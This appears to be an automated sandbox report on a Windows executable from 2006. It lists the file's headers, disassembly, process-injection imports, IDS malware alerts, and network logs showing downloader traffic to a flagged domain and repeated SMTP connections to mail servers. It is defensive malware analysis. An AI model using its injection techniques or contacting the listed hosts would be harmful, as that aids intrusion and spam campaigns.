File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............fr..fr..fr..n...fr..j}..fr..n/..fr.jn/..fr..fs.wfr..j-..fr..j...fr..m,..fr..j(..fr.Rich.fr.................PE..L... ?.E...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x425d91
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x45113F20 [Wed Sep 20 13:16:16 2006 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	547cd05356c429dc57b17bf0fd6daf12

Entrypoint Preview

Instruction
push 00000060h
push 0042E598h
call 00007EFDC8D42B54h
mov edi, 00000094h
mov eax, edi
call 00007EFDC8D419ACh
mov dword ptr [ebp-18h], esp
mov esi, esp
mov dword ptr [esi], edi
push esi
call dword ptr [0042E0ECh]
mov ecx, dword ptr [esi+10h]
mov dword ptr [00432214h], ecx
mov eax, dword ptr [esi+04h]
mov dword ptr [00432220h], eax
mov edx, dword ptr [esi+08h]
mov dword ptr [00432224h], edx
mov esi, dword ptr [esi+0Ch]
and esi, 00007FFFh
mov dword ptr [00432218h], esi
cmp ecx, 02h
je 00007EFDC8D422AEh
or esi, 00008000h
mov dword ptr [00432218h], esi
shl eax, 08h
add eax, edx
mov dword ptr [0043221Ch], eax
xor esi, esi
push esi
mov edi, dword ptr [0042E0BCh]
call edi
cmp word ptr [eax], 5A4Dh
jne 00007EFDC8D422C1h
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
cmp dword ptr [ecx], 00004550h
jne 00007EFDC8D422B4h
movzx eax, word ptr [ecx+18h]
cmp eax, 0000010Bh
je 00007EFDC8D422C1h
cmp eax, 0000020Bh
je 00007EFDC8D422A7h
mov dword ptr [ebp-1Ch], esi
jmp 00007EFDC8D422C9h
cmp dword ptr [ecx+00000084h], 0Eh
jbe 00007EFDC8D42294h
xor eax, eax
cmp dword ptr [ecx+000000F8h], esi
jmp 00007EFDC8D422B0h
cmp dword ptr [ecx+74h], 0Eh
jbe 00007EFDC8D42284h
xor eax, eax
cmp dword ptr [ecx+000000E8h], esi
setne al
mov dword ptr [ebp-1Ch], eax

Rich Headers

Programming Language:

[ASM] VS2003 (.NET) build 3077
[ C ] VS2003 (.NET) build 3077
[C++] VS2003 (.NET) build 3077
[RES] VS2003 (.NET) build 3077
[LNK] VS2003 (.NET) build 3077

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x30204	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x30118	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2f6d0	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e000	0x24c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2c5a4	0x2d000	d7d3452993b82ee75052e80e49c890e4	False	0.5532931857638889	data	6.353296576388688	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2e000	0x2efc	0x3000	48995658de018e8713b6cf36f411ca2e	False	0.3614908854166667	data	4.955424298416429	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x31000	0x28c0	0x1000	cac477c02821e1eee50e0d1240a07368	False	0.211669921875	Matlab v4 mat-file (little endian) , numeric, rows 4351131, columns 4380016	1.9793888897922702	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x34000	0x30118	0x31000	6f01fdb23497bce5c192ef52e6f339e3	False	0.02459343112244898	data	0.3491419252714889	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
	0x61518	0x2c00	ISO-8859 text, with very long lines (11264), with no line terminators	English	United States	0.003018465909090909
	0x39f18	0xf000	data	English	United States	0.04375
RT_ICON	0x34320	0x2e8	ISO-8859 text, with very long lines (744), with no line terminators	English	United States	0.020161290322580645
RT_ICON	0x34608	0xffffff28	data	English	United States	0.023774854388431414

Imports

DLL	Import
KERNEL32.dll	WriteProcessMemory, VirtualAllocEx, lstrlenA, OpenProcess, Process32Next, Process32First, CreateToolhelp32Snapshot, GetFileAttributesA, lstrcatA, GetSystemDirectoryA, lstrcmpiA, UnmapViewOfFile, GetFileSize, MapViewOfFile, CreateFileMappingA, FindClose, FindNextFileA, lstrcmpA, GetLastError, FindFirstFileA, lstrcpyA, SetFilePointer, ReadFile, GetTimeZoneInformation, GetModuleHandleA, LoadLibraryA, GetModuleFileNameA, GetCurrentDirectoryA, MoveFileExA, CopyFileA, GetOverlappedResult, LockResource, SizeofResource, LoadResource, FindResourceA, ResetEvent, GetVersionExA, HeapReAlloc, IsBadWritePtr, GetVolumeInformationA, DeviceIoControl, DefineDosDeviceA, QueryDosDeviceA, SetEndOfFile, GetProcAddress, CreateRemoteThread, GetCurrentProcess, CreateMutexA, ReleaseMutex, GetProcessHeap, HeapAlloc, Sleep, CloseHandle, GetTempPathA, GetTempFileNameA, WriteFile, CreateProcessA, DeleteFileA, HeapFree, GetLocalTime, CreateThread, CreateEventA, WaitForMultipleObjects, SetEvent, WaitForSingleObject, ExpandEnvironmentStringsA, CreateFileA, GetTickCount, ExitProcess, RtlUnwind, RaiseException, GetStartupInfoA, GetCommandLineA, QueryPerformanceCounter, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, TlsAlloc, SetLastError, TlsFree, TlsSetValue, TlsGetValue, SetUnhandledExceptionFilter, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InterlockedExchange, VirtualQuery, HeapDestroy, HeapCreate, VirtualFree, VirtualAlloc, TerminateProcess, HeapSize, VirtualProtect, GetSystemInfo, LCMapStringA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStdHandle, UnhandledExceptionFilter, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, IsBadReadPtr, IsBadCodePtr, GetACP, GetOEMCP, GetCPInfo, InitializeCriticalSection, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetStdHandle, FlushFileBuffers
USER32.dll	wsprintfA, MessageBoxA, SetWindowsHookExA
ADVAPI32.dll	RegOpenKeyA, RegEnumKeyExA, InitializeSecurityDescriptor, GetTokenInformation, SetSecurityDescriptorOwner, SetSecurityDescriptorGroup, AllocateAndInitializeSid, GetLengthSid, AddAce, IsValidSecurityDescriptor, QueryServiceStatusEx, OpenSCManagerA, OpenServiceA, CloseServiceHandle, RegDeleteValueA, RegSetValueExA, RegOpenKeyExA, RegQueryValueExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-22T12:15:23.596407+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49707	193.166.255.171	80	TCP
2024-12-22T12:15:23.596407+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49707	193.166.255.171	80	TCP
2024-12-22T12:15:23.706007+0100	2016998	ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)	1	192.168.2.5	49715	193.166.255.171	80	TCP
2024-12-22T12:15:45.746409+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49715	193.166.255.171	80	TCP
2024-12-22T12:15:45.746409+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49715	193.166.255.171	80	TCP
2024-12-22T12:16:06.527740+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49765	193.166.255.171	80	TCP
2024-12-22T12:16:06.527740+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49765	193.166.255.171	80	TCP
2024-12-22T12:16:07.871681+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49769	193.166.255.171	80	TCP
2024-12-22T12:16:07.871681+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49769	193.166.255.171	80	TCP
2024-12-22T12:16:28.653581+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49820	193.166.255.171	80	TCP
2024-12-22T12:16:28.653581+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49820	193.166.255.171	80	TCP
2024-12-22T12:16:30.012661+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49824	193.166.255.171	80	TCP
2024-12-22T12:16:30.012661+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49824	193.166.255.171	80	TCP
2024-12-22T12:16:50.811159+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49874	193.166.255.171	80	TCP
2024-12-22T12:16:50.811159+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49874	193.166.255.171	80	TCP
2024-12-22T12:16:52.138080+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49879	193.166.255.171	80	TCP
2024-12-22T12:16:52.138080+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49879	193.166.255.171	80	TCP
2024-12-22T12:17:12.935728+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49928	193.166.255.171	80	TCP
2024-12-22T12:17:12.935728+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49928	193.166.255.171	80	TCP
2024-12-22T12:17:14.298034+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49934	193.166.255.171	80	TCP
2024-12-22T12:17:14.298034+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49934	193.166.255.171	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 12:15:22.161142111 CET	49707	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:22.280674934 CET	80	49707	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:22.280848026 CET	49707	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:22.281023026 CET	49707	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:22.400542021 CET	80	49707	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:22.760844946 CET	49713	25	192.168.2.5	67.195.204.74
Dec 22, 2024 12:15:23.596335888 CET	80	49707	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:23.596406937 CET	49707	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:23.596503019 CET	49707	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:23.706007004 CET	49715	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:23.715996027 CET	80	49707	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:23.750689983 CET	49713	25	192.168.2.5	67.195.204.74
Dec 22, 2024 12:15:23.825545073 CET	80	49715	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:23.825683117 CET	49715	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:23.825850964 CET	49715	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:23.945359945 CET	80	49715	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:25.766300917 CET	49713	25	192.168.2.5	67.195.204.74
Dec 22, 2024 12:15:29.766313076 CET	49713	25	192.168.2.5	67.195.204.74
Dec 22, 2024 12:15:37.766467094 CET	49713	25	192.168.2.5	67.195.204.74
Dec 22, 2024 12:15:43.539556980 CET	49761	25	192.168.2.5	67.195.204.74
Dec 22, 2024 12:15:43.781199932 CET	49762	25	192.168.2.5	67.195.228.94
Dec 22, 2024 12:15:44.489675045 CET	49765	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:44.547745943 CET	49761	25	192.168.2.5	67.195.204.74
Dec 22, 2024 12:15:44.609313965 CET	80	49765	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:44.609441042 CET	49765	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:44.613395929 CET	49765	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:44.733093977 CET	80	49765	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:44.781960011 CET	49762	25	192.168.2.5	67.195.228.94
Dec 22, 2024 12:15:45.746227980 CET	80	49715	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:45.746408939 CET	49715	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:45.746409893 CET	49715	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:45.861702919 CET	49769	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:45.866825104 CET	80	49715	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:45.981255054 CET	80	49769	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:45.981343031 CET	49769	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:45.981487036 CET	49769	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:15:46.101031065 CET	80	49769	193.166.255.171	192.168.2.5
Dec 22, 2024 12:15:46.563220978 CET	49761	25	192.168.2.5	67.195.204.74
Dec 22, 2024 12:15:46.781976938 CET	49762	25	192.168.2.5	67.195.228.94
Dec 22, 2024 12:15:50.563281059 CET	49761	25	192.168.2.5	67.195.204.74
Dec 22, 2024 12:15:50.782010078 CET	49762	25	192.168.2.5	67.195.228.94
Dec 22, 2024 12:15:58.563407898 CET	49761	25	192.168.2.5	67.195.204.74
Dec 22, 2024 12:15:58.782017946 CET	49762	25	192.168.2.5	67.195.228.94
Dec 22, 2024 12:16:04.579299927 CET	49813	25	192.168.2.5	67.195.228.94
Dec 22, 2024 12:16:04.782558918 CET	49814	25	192.168.2.5	67.195.228.109
Dec 22, 2024 12:16:05.578958035 CET	49813	25	192.168.2.5	67.195.228.94
Dec 22, 2024 12:16:05.797791004 CET	49814	25	192.168.2.5	67.195.228.109
Dec 22, 2024 12:16:06.527620077 CET	80	49765	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:06.527740002 CET	49765	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:06.527838945 CET	49765	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:06.643013954 CET	49820	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:06.647365093 CET	80	49765	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:06.762677908 CET	80	49820	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:06.762821913 CET	49820	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:06.762952089 CET	49820	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:06.882436037 CET	80	49820	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:07.578912020 CET	49813	25	192.168.2.5	67.195.228.94
Dec 22, 2024 12:16:07.797662973 CET	49814	25	192.168.2.5	67.195.228.109
Dec 22, 2024 12:16:07.871529102 CET	80	49769	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:07.871680975 CET	49769	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:07.872420073 CET	49769	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:07.986587048 CET	49824	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:07.992403030 CET	80	49769	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:08.106105089 CET	80	49824	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:08.106187105 CET	49824	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:08.106287003 CET	49824	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:08.225753069 CET	80	49824	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:11.594620943 CET	49813	25	192.168.2.5	67.195.228.94
Dec 22, 2024 12:16:11.813352108 CET	49814	25	192.168.2.5	67.195.228.109
Dec 22, 2024 12:16:19.610167980 CET	49813	25	192.168.2.5	67.195.228.94
Dec 22, 2024 12:16:19.813375950 CET	49814	25	192.168.2.5	67.195.228.109
Dec 22, 2024 12:16:25.610779047 CET	49866	25	192.168.2.5	67.195.228.109
Dec 22, 2024 12:16:26.610253096 CET	49866	25	192.168.2.5	67.195.228.109
Dec 22, 2024 12:16:26.793028116 CET	49868	25	192.168.2.5	192.178.128.26
Dec 22, 2024 12:16:27.797935009 CET	49868	25	192.168.2.5	192.178.128.26
Dec 22, 2024 12:16:28.625865936 CET	49866	25	192.168.2.5	67.195.228.109
Dec 22, 2024 12:16:28.653476000 CET	80	49820	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:28.653580904 CET	49820	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:28.653654099 CET	49820	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:28.768352985 CET	49874	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:28.775168896 CET	80	49820	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:28.890682936 CET	80	49874	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:28.890780926 CET	49874	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:28.891100883 CET	49874	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:29.010534048 CET	80	49874	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:29.813374043 CET	49868	25	192.168.2.5	192.178.128.26
Dec 22, 2024 12:16:30.012515068 CET	80	49824	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:30.012660980 CET	49824	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:30.012749910 CET	49824	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:30.127207041 CET	49879	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:30.132662058 CET	80	49824	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:30.246885061 CET	80	49879	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:30.246994019 CET	49879	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:30.247175932 CET	49879	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:30.366841078 CET	80	49879	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:32.625834942 CET	49866	25	192.168.2.5	67.195.228.109
Dec 22, 2024 12:16:33.813363075 CET	49868	25	192.168.2.5	192.178.128.26
Dec 22, 2024 12:16:40.625926018 CET	49866	25	192.168.2.5	67.195.228.109
Dec 22, 2024 12:16:41.813524008 CET	49868	25	192.168.2.5	192.178.128.26
Dec 22, 2024 12:16:46.644768953 CET	49916	25	192.168.2.5	192.178.128.26
Dec 22, 2024 12:16:47.657140970 CET	49916	25	192.168.2.5	192.178.128.26
Dec 22, 2024 12:16:47.814287901 CET	49922	25	192.168.2.5	142.250.141.26
Dec 22, 2024 12:16:48.831499100 CET	49922	25	192.168.2.5	142.250.141.26
Dec 22, 2024 12:16:49.672735929 CET	49916	25	192.168.2.5	192.178.128.26
Dec 22, 2024 12:16:50.810973883 CET	80	49874	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:50.811158895 CET	49874	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:50.811224937 CET	49874	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:50.844652891 CET	49922	25	192.168.2.5	142.250.141.26
Dec 22, 2024 12:16:50.924221039 CET	49928	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:50.930855036 CET	80	49874	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:51.043752909 CET	80	49928	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:51.045923948 CET	49928	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:51.046041012 CET	49928	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:51.165585041 CET	80	49928	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:52.137991905 CET	80	49879	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:52.138079882 CET	49879	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:52.138189077 CET	49879	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:52.252334118 CET	49934	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:52.257894993 CET	80	49879	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:52.372176886 CET	80	49934	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:52.372298002 CET	49934	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:52.372380972 CET	49934	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:16:52.491894960 CET	80	49934	193.166.255.171	192.168.2.5
Dec 22, 2024 12:16:53.672797918 CET	49916	25	192.168.2.5	192.178.128.26
Dec 22, 2024 12:16:54.860410929 CET	49922	25	192.168.2.5	142.250.141.26
Dec 22, 2024 12:17:01.688424110 CET	49916	25	192.168.2.5	192.178.128.26
Dec 22, 2024 12:17:02.860306978 CET	49922	25	192.168.2.5	142.250.141.26
Dec 22, 2024 12:17:07.696650982 CET	49969	25	192.168.2.5	142.250.141.26
Dec 22, 2024 12:17:08.704047918 CET	49969	25	192.168.2.5	142.250.141.26
Dec 22, 2024 12:17:08.862173080 CET	49971	25	192.168.2.5	142.250.157.26
Dec 22, 2024 12:17:09.860517025 CET	49971	25	192.168.2.5	142.250.157.26
Dec 22, 2024 12:17:10.704159975 CET	49969	25	192.168.2.5	142.250.141.26
Dec 22, 2024 12:17:11.860375881 CET	49971	25	192.168.2.5	142.250.157.26
Dec 22, 2024 12:17:12.935611963 CET	80	49928	193.166.255.171	192.168.2.5
Dec 22, 2024 12:17:12.935728073 CET	49928	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:17:12.935844898 CET	49928	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:17:13.055263996 CET	80	49928	193.166.255.171	192.168.2.5
Dec 22, 2024 12:17:14.294872046 CET	80	49934	193.166.255.171	192.168.2.5
Dec 22, 2024 12:17:14.298033953 CET	49934	80	192.168.2.5	193.166.255.171
Dec 22, 2024 12:17:14.719660044 CET	49969	25	192.168.2.5	142.250.141.26

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 12:15:21.721029997 CET	58581	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:15:21.805218935 CET	54143	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:15:21.858278990 CET	53	58581	1.1.1.1	192.168.2.5
Dec 22, 2024 12:15:21.863856077 CET	60733	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:15:22.150713921 CET	53	54143	1.1.1.1	192.168.2.5
Dec 22, 2024 12:15:22.162947893 CET	53	60733	1.1.1.1	192.168.2.5
Dec 22, 2024 12:15:22.164000988 CET	64053	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:15:22.463742018 CET	53	64053	1.1.1.1	192.168.2.5
Dec 22, 2024 12:15:22.464747906 CET	53002	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:15:22.758682013 CET	53	53002	1.1.1.1	192.168.2.5
Dec 22, 2024 12:16:25.814241886 CET	63240	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:16:25.951358080 CET	53	63240	1.1.1.1	192.168.2.5
Dec 22, 2024 12:16:25.952425957 CET	56510	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:16:26.090384960 CET	53	56510	1.1.1.1	192.168.2.5
Dec 22, 2024 12:16:26.111553907 CET	58273	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:16:26.353010893 CET	53	58273	1.1.1.1	192.168.2.5
Dec 22, 2024 12:16:26.354044914 CET	56690	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:16:26.491511106 CET	53	56690	1.1.1.1	192.168.2.5
Dec 22, 2024 12:16:26.492482901 CET	50532	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:16:26.629312038 CET	53	50532	1.1.1.1	192.168.2.5
Dec 22, 2024 12:16:26.631345987 CET	57716	53	192.168.2.5	1.1.1.1
Dec 22, 2024 12:16:26.768913031 CET	53	57716	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 22, 2024 12:15:21.721029997 CET	192.168.2.5	1.1.1.1	0x8c2a	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)	false
Dec 22, 2024 12:15:21.805218935 CET	192.168.2.5	1.1.1.1	0xc41a	Standard query (0)	www4.cedesunjerinkas.com	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:21.863856077 CET	192.168.2.5	1.1.1.1	0x83d5	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.164000988 CET	192.168.2.5	1.1.1.1	0x4703	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.464747906 CET	192.168.2.5	1.1.1.1	0xd7e8	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:16:25.814241886 CET	192.168.2.5	1.1.1.1	0xe2d7	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Dec 22, 2024 12:16:25.952425957 CET	192.168.2.5	1.1.1.1	0xd1b5	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:16:26.111553907 CET	192.168.2.5	1.1.1.1	0x6a6	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:16:26.354044914 CET	192.168.2.5	1.1.1.1	0x8d65	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:16:26.492482901 CET	192.168.2.5	1.1.1.1	0xeb6b	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:16:26.631345987 CET	192.168.2.5	1.1.1.1	0x9bf9	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 22, 2024 12:15:21.858278990 CET	1.1.1.1	192.168.2.5	0x8c2a	No error (0)	yahoo.com		MX (Mail exchange)	IN (0x0001)	false
Dec 22, 2024 12:15:21.858278990 CET	1.1.1.1	192.168.2.5	0x8c2a	No error (0)	yahoo.com		MX (Mail exchange)	IN (0x0001)	false
Dec 22, 2024 12:15:21.858278990 CET	1.1.1.1	192.168.2.5	0x8c2a	No error (0)	yahoo.com		MX (Mail exchange)	IN (0x0001)	false
Dec 22, 2024 12:15:22.150713921 CET	1.1.1.1	192.168.2.5	0xc41a	No error (0)	www4.cedesunjerinkas.com	193.166.255.171	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.162947893 CET	1.1.1.1	192.168.2.5	0x83d5	No error (0)	mta6.am0.yahoodns.net	67.195.204.74	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.162947893 CET	1.1.1.1	192.168.2.5	0x83d5	No error (0)	mta6.am0.yahoodns.net	98.136.96.77	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.162947893 CET	1.1.1.1	192.168.2.5	0x83d5	No error (0)	mta6.am0.yahoodns.net	67.195.204.73	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.162947893 CET	1.1.1.1	192.168.2.5	0x83d5	No error (0)	mta6.am0.yahoodns.net	98.136.96.75	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.162947893 CET	1.1.1.1	192.168.2.5	0x83d5	No error (0)	mta6.am0.yahoodns.net	67.195.204.79	A (IP address)	IN (0x0001)	false
